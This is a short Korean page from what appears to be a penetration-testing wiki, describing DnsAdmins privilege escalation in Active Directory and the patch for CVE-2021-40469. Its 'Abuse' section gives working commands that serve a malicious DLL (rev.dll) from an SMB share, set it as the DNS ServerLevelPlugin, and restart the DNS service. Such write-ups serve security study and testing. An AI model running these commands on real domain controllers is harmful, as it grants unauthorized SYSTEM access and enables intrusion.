> For the complete documentation index, see [llms.txt](https://www.pentestwiki.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.pentestwiki.com/privilege-escalation/active-directory/dnsadmins.md).

# DnsAdmins

DnsAdmins 그룹은 Active Directory 환경에서만 존재하는 그룹이며 DC의 DNS에 관련되어 높은 권한을 가집니다. 기존에 이 그룹원은 DNS 서비스에서 불러오는 DLL인 ServerLevelPlugin에 대한 수정 권한이 있기 때문에 악성 DLL 코드를 삽입하거나 기존의 파일을 대체하여 시스템 권한을 얻을 수 있었습니다.

{% hint style="info" %}
2017년 5월 Shay Ber에 의해 밝혀진 이후 4년 뒤, Microsoft는 CVE-2021-40469 취약점으로 인정했습니다.
{% endhint %}

CVE에 대한 보안 패치가 적용된 서버에서는 DnsAdmins 그룹 구성원이 더이상 ServerLevelPlugin에 대해 쓰기 권한이 없습니다.

## Abuse

<pre class="language-bash"><code class="lang-bash"><strong># 악성 dll이 있는 경로에 서버 실행
</strong>impacket-smbserver share -smb2support .

<strong># ServerLevelPlugin에서 가져가도록 변경
</strong>dnscmd /config /serverlevelplugindll \\\\10.0.2.15\\share\\rev.dll

<strong># 서비스 재실행
</strong>Restart-Service dns
</code></pre>

## References

{% embed url="<https://blog.0patch.com/2021/11/micropatch-for-remote-code-execution-by.html>" %}

{% embed url="<https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html>" %}
